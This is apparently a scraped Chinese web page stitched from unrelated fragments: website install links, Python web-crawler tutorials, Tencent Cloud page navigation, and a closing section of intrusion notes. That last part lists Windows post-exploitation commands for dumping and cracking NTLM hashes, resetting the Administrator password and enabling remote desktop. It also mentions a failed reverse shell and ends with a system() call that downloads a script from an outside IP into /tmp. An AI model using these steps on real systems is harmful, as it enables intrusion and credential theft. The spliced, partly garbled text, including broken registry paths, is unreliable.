#请进入相应的安装界面进行操作
宝塔面板：https://www.bt.cn/bbs/thread-1186-1-1.html
OneinStack：https://oneinstack.com/auto
LNMP：https://lnmp.org/install.html

添加域名(虚拟主机)，再上传程序到网站根目录，并给予755权限，程序下载：Github。然后新建数据库，打开域名，填入数据库信息，管理员密码等进行安装。

1.选取种子URL； 2.将这些URL放入待抓取URL队列； 3.从待抓取URL队列中取出待抓取在URL。解析DNS，而且得到主机的ip，并将URL相应的网页下载下来，存储进已下载网页库中。 4.分析已抓取URL队列中的URL，分析当中的其它URL，而且将URL放入待抓取URL队列，从而进入下一个循环。

数据采集、数据存储、动态网页爬取、APP爬取、验证码破解、模拟登陆、代理试用、爬虫框架、分布式爬取等等。 目前主流的网络爬虫工具是python，涉及的库和工具： 网页爬取：urlib、requests、aiohttp、Selenium、Splash 网页解析：re、lxml、Beautiful Soup、pyquest 数据存储：JSON、XML、CSV、MySQL、MongoDB、Redis Web组件：Flask、Tornado 处理反爬：Tesserocr、ADSLProxy、ProxyPool、PookiesPool APP爬取：Charles、mitmproxy、mitmdump、Appium 爬虫框架：pyspider、Scrapy、Scrapy-Redis、Scrapy-Splash 管理部署：Docker、Scrapyd、Scrapyd-API、Scrapyd-Client、Gerapy

path即为//*[@id="gt6_2"

源代码如下：

，下面我们就先用一个实例来说明一下爬虫的过程，当然这是一个非常简单的小案例，如果将来想要更加复杂的目标，涉及的技术就多了。 最近关注银行股，想要获取某一只银行股当前的市盈率是多少，这就是我们的目标了。这里我们用requests+xpath来实现

首先，我们的信息源是东方财富网，以浦发银行[代码：sh600000]为例

最后爬取不同城市的详细真实IT招聘岗位数据大约70万条，爬的时间也挺久

selenium爬取招聘岗位详细信息并进行数据清洗，这里我的chromedriver.exe版本是v110，一定选择浏览器所兼容支持的版本号。

系统展示
启动项目进入系统
http://127.0.0.1:8080/login.html

非开发岗我这里爬取了3个，想爬取更多岗位，可以直接修改爬虫代码里面参数信息就行

1、解析初始界面数据

2、获取到每个每个PPT对应的li节点

3、获取对应PPT模板的链接和名字

4、进入每个PPT模板的详情界面

5、解析界面

6、获取PPT模板下载页面的链接

7、进入下载页面

8、解析界面获取下载链接

9、完成PPT模板的下载

腾讯云
开发者社区
文档
建议反馈
控制台
登录/注册
首页
学习
活动
更多
文章/答案/技术大牛
搜索
发布
社区首页
>
专栏
>
Python素材下载爬虫，ui素材下载爬取采集源码
Python素材下载爬虫，ui素材下载爬取采集源码
发布于 2020-07-22 14:27:52
2.3K0
举报
文章被收录于专栏：
二爷记
Uimaker是为UI设计师提供学UI设计的专业UI平台,拥有UI教程、UI素材、ICON、图标设计UI、手机UI、ui设计师招聘、软件界面设计、后台界面、后台模版等相关内容,快来uimaker学UI设计。

目标网站：

http://www.uimaker.com/uimakerdown/list_36_1.html

某音频网站，在这个网站当中，数据主要以音频为主。那么我们想要爬取网站上面的音频数据该如何去做

在这段话里面有一个关键点就是无需加载整个网页，就可以更新部分网页的技术 例如下面是一个12306的车次列表

getpass被杀， 可以使用PwDump7.exe或者QuarksPwDump.exe得到密码的NTML哈希值，然后再去各种MD5网站解密

如果得到密码的NTML哈希无法破解，可以采用彩虹表爆破的方式，爆破出Administrator的密码：保存扫描出的NTML哈希值-使用ophcrack（去官网下载字典库https://ophcrack.sourceforge.io/tables.php）梭哈一下。

whoami是www-data权限，很低的权限pwd可查看到当前路径且判定是linux系统s-al查看了下当前目录下的读写执行权限

1.whoami//查询当前用户权限
2.netuser//查着系统用户
3.netuserAdministratorpte//修改Administrator用户密码为pte
4.reg add “HKLMISYSTEMICurrentControlSetiControlTerminal Server /v fDenyTSConnections /t reg_dword /d 0/f/开启3389远程终端
5.win7/win8/win10:REG query HKLMISYSTEMCurrentControlSetControllTerminal “ServerWinStationsRDP-Tcp /y PortNumbewinxp/win2003:REG query HKLMISYSTEMICurrentControlSetControlTerminar ServerWdsrdpwdTdstcp /v PortNumber //查询3389远程服务端口
6.使用Administrator用户及新修改的密码远程登陆系统，做你想做的-

可以看出其他用户是没有高权限的，写入执行权限都没有，就不能在当前目录下写马；经尝试，bash反弹shell未能成功

system('wget -P /tmp/ http://180.76.xx.xx:8000/drinkwater.sh')